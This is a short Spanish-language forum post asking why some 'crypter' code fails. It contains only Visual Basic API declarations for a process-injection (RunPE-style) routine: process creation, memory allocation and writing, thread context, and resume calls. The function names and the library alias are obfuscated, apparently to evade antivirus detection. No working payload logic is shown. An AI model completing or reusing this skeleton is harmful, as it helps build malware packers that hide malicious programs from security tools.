Error codigo crypter
Publicado: 03 Ene 2012, 14:42
Alguien sabe que es lo que falla aqui para que funcione bien ?
Código: Seleccionar todo
'NTDLL
Public Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
'KERNEL32
Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function func6& Lib "slek" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long)
Private Declare Function func5& Lib "slek" (ByVal hThread As Long)
Private Declare Function func4& Lib "slek" (ByVal hThread As Long, lpContext As Long)
Private Declare Function func3& Lib "slek" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long)
Private Declare Function func2& Lib "slek" (ByVal hProcess As Long, ByVal BaseAddress As Long)
Private Declare Function func1& Lib "slek" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As Long, lpProcessInformation As Long)